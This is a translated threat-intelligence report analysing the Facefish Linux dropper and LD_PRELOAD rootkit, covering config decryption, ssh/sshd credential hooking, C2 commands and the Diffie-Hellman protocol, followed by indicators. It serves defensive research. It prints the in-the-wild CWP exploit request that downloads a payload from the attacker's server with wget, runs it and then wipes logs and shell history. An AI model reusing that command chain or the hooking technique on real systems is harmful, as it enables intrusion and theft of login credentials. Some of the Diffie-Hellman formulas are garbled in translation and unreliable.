Relatório de análise do rootkit Facefish
Em fevereiro de 2021, encontramos uma amostra de ELF usando alguns exploits de Ndays do CWP, fizemos algumas análises, mas depois de verificar com um parceiro que tem boa visibilidade no tráfego de rede em algumas áreas da China, descobrimos que literalmente havia zero hit para C2 tráfego. Então seguimos em frente.
Um pouco da história
Em 26/04/2021, a Juniper publicou um blog sobre esta amostra, percebemos que alguns detalhes técnicos importantes não foram mencionados naquele blog, por isso decidimos concluir e publicar nosso relatório.
O arquivo de amostra ELF (38fb322cc6d09a6ab85784ede56bc5a7) é um Dropper, que libera um Rootkit. A Juniper não o nomeou, então demos um nome Facefish
, já que o Dropper lançou diferentes rootkits em momentos diferentes e o algoritmo de criptografia Blowfish foi usado.
O Facefish suporta configuração bastante flexível, usa chaves de troca Diffie-Hellman, comunicação de rede criptografada Blowfish e sistemas Linux x64.
Visão geral
O Facefish consiste em 2 partes, Dropper e Rootkit, e sua função principal é determinada pelo módulo Rootkit, que funciona na camada Ring3 e é carregado usando o LD_PRELOAD
recurso para roubar credenciais de login do usuário ao ligar funções relacionadas ao programa ssh / sshd, e também suporta algumas funções backdoor. Portanto, o Facefish pode ser caracterizado como um backdoor para a plataforma Linux.
As principais funções do Facefish são
- Carregar informações do dispositivo
- Roubo de credenciais de usuário
- Bounce Shell
- Execute comandos arbitrários
O processo básico é mostrado no diagrama a seguir.
Método de propagação
As vulnerabilidades exploradas em liberdade são mostradas abaixo
POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xx.xxx.xxx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
Após decodificar a parte relacionada ao Facefish, obtém-se a seguinte sequência de comandos de execução, onde se pode verificar que a função principal é baixar a carga útil da primeira etapa de execução e, em seguida, limpar os rastros.
cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
Análise reversa
Em termos simples, o procedimento de infecção do Facefish pode ser dividido em 3 fases
Estágio 0: Estágio preliminar, disseminação pela vulnerabilidade e conta-gotas implantado no dispositivo
Estágio 1: estágio de liberação, o Dropper libera o rootkit
Etapa 2: Etapa operacional, o Rootkit coleta e retransmite informações confidenciais e aguarda a execução das instruções emitidas por C2
Vamos dar uma olhada no Estágio 1 e no Estágio 2.
Etapa 1: Análise de conta-gotas
As informações básicas do Dropper são mostradas abaixo, a função principal é detectar o ambiente em execução, descriptografar o Config e obter informações C2, configurar o Rootkit e, finalmente, liberar e iniciar o Rootkit.
MD5: 38fb322cc6d09a6ab85784ede56bc5a7
Executável LSB ELF de 64 bits, x86-64, versão 1 (GNU / Linux), vinculado estaticamente, removido
Empacotador: UPX
Vale a pena mencionar que o Dropper usa alguns tricks
para neutralizar a detecção de antivírus no nível binário.
Truque 1: upx com sobreposição
Conforme mostrado na figura abaixo, os dados de configuração criptografados são usados como sobreposição para preencher o final da amostra após o shelling upx.
O objetivo desta abordagem é duplo:
- Neutralizando a descapsulação upx
- Os dados do Config são desacoplados da amostra, para que o Config possa ser atualizado pela ferramenta sem compilar o código-fonte, o que é conveniente para circulação no mercado negro.
Truque 2: elfo sem seções
Conforme mostrado na figura abaixo, as informações da seção na amostra são apagadas após a remoção da casca
O objetivo desta abordagem também é duplo:
Algumas ferramentas que dependem de informações de seção para análise não funcionam corretamente e apagar seções torna a análise mais difícil até certo ponto.
Alguns mecanismos antivírus contam com as informações da seção para gerar a área de detecção do recurso; apagar a seção pode vender os olhos de alguns mecanismos antivírus.
Principais características do conta-gotas
O conta-gotas produzirá as seguintes informações quando for executado
Com base nessas informações, podemos dividir as funções do Dropper nos seguintes 4 estágios
- Detectando o ambiente de execução
- Descriptografar configuração
- Configurar Rootkit
- Libere e inicie o Rootkit
0 x 1: detecta o ambiente em execução
Leia os primeiros 16 bytes /bin/cat
e determine o número de bits do sistema atual verificando o valor do 5º byte (EI_CLASS); atualmente, o Facefish suporta apenas o sistema x64. Em seguida, ele verifica se está sendo executado com privilégios de root e, finalmente, tenta ler as informações de configuração do final de seu próprio arquivo. Se alguma dessas etapas falhar, o Facefish desistirá da infecção e sairá diretamente.
0x2: Descriptografando configuração
A informação de configuração original tem 128 bytes de comprimento, criptografada com o modo CBC do Blowfish e armazenada no final do arquivo na forma de sobreposição. A chave de descriptografia & iv do Blowfish é a seguinte.
- chave: buil
- iv: 00 00 00 00 00 00 00 00 00
Vale ressaltar que, ao usar o Blowfish, seu autor pregou uma pequena peça para “enojar” os pesquisadores de segurança durante o processo de codificação, conforme mostrado no trecho de código a seguir.
À primeira vista, alguém poderia pensar que a chave para o Blowfish é “construir”. Observe que o terceiro parâmetro é 4, ou seja, o comprimento da chave é 4 bytes, então a chave real é “buil”.
Pegue o Config original como exemplo.
BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
O Config descriptografado é mostrado abaixo, você pode ver as informações c2: port (176.111.174.26:443).
O significado específico de cada campo é o seguinte:
DESLOCAMENTO | COMPRIMENTO | SIGNIFICADO |
---|---|---|
0x00 | 4 | Magia |
0x0c | 4 | intervalo |
0x10 | 4 | deslocamento de c2 |
0x14 | 4 | porta |
0x20 (apontado por 0x10) | c2 |
Após a descriptografia ser concluída, o seguinte trecho de código é usado para verificar o Config, o método de verificação é relativamente simples, ou seja, comparar o valor mágico não é 0xCAFEBABE
, quando a verificação passou, entrar no estágio de configuração do Rootkit.
0x3: Configurar Rootkit
Em primeiro lugar, a hora atual é usada como semente para gerar 16 bytes aleatoriamente como a nova chave de criptografia Blowfish, e o Config obtido no estágio anterior é criptografado novamente com a nova chave.
Em seguida, use o sinalizador 0xCAFEBABEDEADBEEF
para localizar a localização específica do Rootkit no Dropper e escreva a nova chave de criptografia e as informações de configuração criptografadas novamente.
As alterações no arquivo são mostradas abaixo.
Antes de escrever.
Depois de escrever.
Nesse processo, como a chave de criptografia é gerada aleatoriamente, o valor MD5 do Rootkit lançado em momentos diferentes é diferente e especulamos que esse design seja usado para neutralizar a detecção de HASH em preto e branco do antivírus.
Também vale a pena mencionar que o Facefish suporta especificamente o sistema operacional FreeBSD. A implementação é relativamente simples, conforme mostrado abaixo, ou seja, determinando se o EI_OSABI no binário cat é igual a 9, se for o caso, o valor EI_OSABI no Rootkit é modificado para 9.
0x4: Libere e inicie o Rootkit
Grave o Rootkit configurado no estágio anterior no /lib64/libs.so
arquivo e grave o seguinte /etc/ld.so.preload
para realizar o pré-carregamento do Rootkit.
/lib64/libs.so
Reinicie o serviço ssh com o seguinte comando para dar ao Rootkit a chance de carregar no aplicativo sshd
/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
O efeito real é mostrado abaixo.
Nesse ponto, a tarefa do Dropper está concluída e o Rootkit começa a funcionar.
Estágio 2: Análise de Rootkit
O módulo de Rootkit do Facefish libs.so funciona na camada Ring3 e é carregado através do recurso LD_PRELOAD, suas informações básicas são as seguintes.
MD5: d6ece2d07aa6c0a9e752c65fbe4c4ac2
ELF objeto compartilhado LSB de 64 bits, x86-64, versão 1 (SYSV), vinculado dinamicamente, removido
No IDA você pode ver que ele exporta 3 funções, de acordo com o mecanismo de pré-carregamento, quando o rootkit é carregado, eles substituirão a função do libc de mesmo nome e implementarão o gancho.
init_proc
função, sua função principal é ligar funções relacionadas ao processo ssh / sshd para roubar credenciais de login.
A bind
função, cuja principal função é reportar informações do dispositivo e aguardar a execução dos comandos C2.
A start
função, cuja principal função é calcular chaves para o processo de troca de chaves na comunicação em rede.
Análise da função .init_proc
A função .init_proc irá primeiro descriptografar Config, obter C2, PORT e outras informações relacionadas, então determinar se o processo que está sendo injetado é SSH / SSHD, se for, então HOOK as funções relacionadas que lidam com as credenciais e, finalmente, quando o ssh se conecta ativamente para ele, ou quando o sshd recebe passivamente uma conexão externa, o Facefish, com a ajuda da função Hook, rouba as credenciais de login e as envia para C2.
0x1 Encontrando SSH
Se o sistema atual for FreeBSD, a função dlopen obtém o endereço da estrutura link_map e usa o link_map para iterar através dos módulos carregados pelo processo atual para encontrar módulos relacionados ao SSH.
Se o sistema atual não for FreeBSD, o endereço do link_map é obtido no item 2 da .got.plt
tabela.
Depois de obter o módulo relacionado ao SSH, a próxima etapa é determinar se o módulo é ssh / sshd de uma forma relativamente simples, ou seja, verificar se a seguinte string está presente no módulo. Por isso, sabe-se que o Facefish na verdade só ataca a implementação OpenSSH de cliente / servidor.
1:usage: ssh
2:OpenSSH_
0x2 função HOOK
Primeiro, o Facefish procura o endereço da função a ser conectada
onde a função ssh a ser conectada é mostrada a seguir.
A função sshd a ser conectada é mostrada abaixo.
Se não for encontrado, o nome da função é prefixado com Fssh_ e procurado novamente. Se ainda não for encontrada, a função está localizada indiretamente por meio da string na função. Finalmente, o Gancho é implementado pelo seguinte trecho de código
A comparação real antes e depois do HOOK é mostrada abaixo.
0x3 Roubo de credenciais de login
Facefish rouba as credenciais de login com a ajuda da função após o Hook e relata para C2.
O formato dos dados relatados é %08x-%08x-%08x-%08x,%s,%s,%s,%s,%s
, onde as primeiras 32 seções são a chave criptografada, seguida pelo número da conta, host remoto, senha e outras informações.
As informações reportadas na prática são apresentadas a seguir.
análise da função de ligação
Uma vez que o usuário efetua login por meio de ssh, ele irá disparar a função bind e então executar uma série de comportamentos backdoor, como segue.
Se a porta dos fundos for inicializada normalmente, primeiro ele bifurcará o processo da porta dos fundos e entrará no loop de instruções da conexão C2, e o processo pai chamará a função de ligação real por meio de syscall (0x68 / 0x31).
0x1: comportamento do host
Determine se o processo pai sshd existe, se o processo pai sai, o processo backdoor também sai.
Se o processo pai existir, comece a coletar informações do host, incluindo: modelo de CPU, Arch, tamanho da memória, tamanho do disco rígido, arquivo de configuração relacionado ao serviço ssh e dados de credencial.
Modelo de CPU
Memória
Disco rígido
Dispositivo de rede
Relacionado ao serviço SSH
0x2: Introdução aos comandos C2
O Facefish usa um protocolo de comunicação complexo e algoritmo de criptografia, entre os quais as instruções começando com 0x2XX são usadas para trocar chaves públicas, que iremos analisar em detalhes na próxima subseção. Aqui está uma breve explicação das instruções funcionais C2.
- Enviar 0x305
Se deseja enviar as informações de registro 0x305, caso contrário, colete as informações e relate-as.
- Enviar 0x300
Função para relatar informações de credenciais roubadas
- Enviar 0x301
Colete informações de uname, agrupe pacotes e envie 0x301, aguarde mais instruções
- Receba 0x302
Aceite o comando 0x302, inverta o shell.
- Receba 0x310
Aceite o comando 0x310, execute qualquer comando do sistema
- Enviar 0x311
Envie a instrução 0x311 para retornar o resultado da execução do bash
- Receba 0x312
Aceite a instrução 0x312 para coletar novamente e relatar as informações do host
0x3: Análise do protocolo de comunicação
O processo de comunicação do rootkit usa protocolo / algoritmo de troca de chave DH (Diffie – Hellman) para troca de chave e BlowFish é usado para criptografia de dados de comunicação, portanto, é impossível descriptografar apenas os dados de tráfego. Cada sessão é dividida em duas fases, a primeira fase é a negociação da chave, a segunda fase usa a chave negociada para criptografar os dados enviados, recebe e descriptografa um comando C2 e, em seguida, desconecta a conexão TCP. Esse método de comunicação de criptografia um por vez é difícil de detectar com precisão pelas características do tráfego.
De um modo geral, a maneira mais fácil de se comunicar usando a estrutura do protocolo DH é usar a biblioteca OpenSSL, e o autor do Facefish codificou (ou usou alguns projetos de código aberto) todo o processo de comunicação, e o tamanho do código é muito compacto porque não bibliotecas de terceiros são introduzidas.
- Princípio de comunicação DH
Todo o protocolo de comunicação é baseado na estrutura de DH, portanto, precisamos primeiro entender brevemente o princípio de comunicação de DH. Sem discutir o princípio matemático por trás, usamos um exemplo simples para descrever o processo de comunicação diretamente por fórmula.
Etapa 1. A gera um número aleatório a = 4, escolhe um número primo p = 23 e um número base g = 5 e calcula a chave pública A (A=gacontrap=54contra23=4A=gacontrap=54contra23=4), então envia p, g e A para B ao mesmo tempo.
Etapa 2. Depois de receber a mensagem acima, B também gera um número aleatório b = 3 e usa a mesma fórmula para calcular a chave pública B (B=gbcontrap=53contra23=10B=gbcontrap=53contra23=10), então envia B para A. Ao mesmo tempo, B calcula a chave de comunicação s = 3 e um número base g = 5. Enquanto isso, B calcula a chave de comunicaçãos=Abcontrap=(ga)bcontrap=18s=Abcontrap=(ga)bcontrap=18.
etapa 3. A recebe B e também calcula a chave de comunicação s=Bacontrap=(gb)acontrap=18s=Bacontrap=(gb)acontrap=18
etapa 4. A e B usam a chave de comunicação se o algoritmo de criptografia simétrica BlowFish para criptografar e descriptografar os dados de comunicação.
Em essência, uma derivação simples mostra que A e B calcula pela mesma fórmula.
s=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontraps=Bacontrap=(gb)acontrap=gabcontrap=(ga)bcontrap=Abcontrap
Existe uma função matemática fundamental em todo o algoritmo para encontrar o módulo de potência, potência (x, y) mod z. Quando xey são grandes, é difícil resolver diretamente, então o algoritmo de módulo de potência rápido é usado. A função de início mencionada anteriormente é o código-chave no binpow () de potência rápida.
- Análise de protocolo
O envio e o recebimento de pacotes usam a mesma estrutura de dados.
struct package{
struct header{
WORD payload_len; //payload length
WORD cmd; //cmmand
DWORD payload_crc; // payload crc
} ;
struct header hd;
unsigned char payload[payload_len]; // payload
}
Como exemplo, o pacote de instruções 0x200 pode ser definido como segue.
struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
Em relação ao princípio de comunicação DH e dados de tráfego, analisamos o protocolo de comunicação.
- o bot primeiro envia a instrução 0x200, os dados da carga útil estão vazios.
- C2 respondeu à instrução 0x201, comprimento de carga útil de 24 bytes, convertido em três valores de 64 bits pelo final menor, correspondendo aos três dados-chave enviados por A na etapa 1, p = 0x294414086a9df32a, g = 0x13a6f8eb15b27aff, A = 0x0d87179e844f3758.
- Correspondendo à etapa 2, o bot gera um número aleatório b localmente e, em seguida, gera B = 0x0e27ddd4b848924c com base no p, g recebido, que é enviado para C2 pela instrução 0x202. completando assim a troca de chaves de sessão.
- Correspondendo à etapa 3, bot e C2 geram as chaves Blowfish s e iv pela chave pública A e a chave pública B. Onde iv é obtido pela dissimilaridade de p e g.
Com iv e s, podemos criptografar e descriptografar os dados de comunicação. Os dados reais de comunicação são criptografados usando o algoritmo BlowFish, que é o mesmo método de criptografia de perfil mencionado anteriormente. bot envia o comando 0x305 para C2 com o comprimento de 0x1b0, e o conteúdo são os dados do pacote de registro após a criptografia BlowFish.
Os dados do pacote de uplink descriptografados são os seguintes.
COI
Amostra MD5
38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
C2
176.111.174.26:443
Fonte: https://blog.netlab.360.com/